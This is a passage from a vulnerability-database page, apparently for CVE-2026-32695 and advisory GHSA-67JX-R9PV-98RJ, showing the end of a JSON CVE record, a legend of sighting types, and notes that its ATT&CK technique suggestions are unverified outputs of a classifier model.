    "dateUpdated": "2026-07-15T01:07:47.954Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-67JX-R9PV-98RJ

Summary

Patches

For more information

CVE-2026-32695 (GCVE-0-2026-32695)

Tags

Sightings

Nomenclature

Related by attack behaviour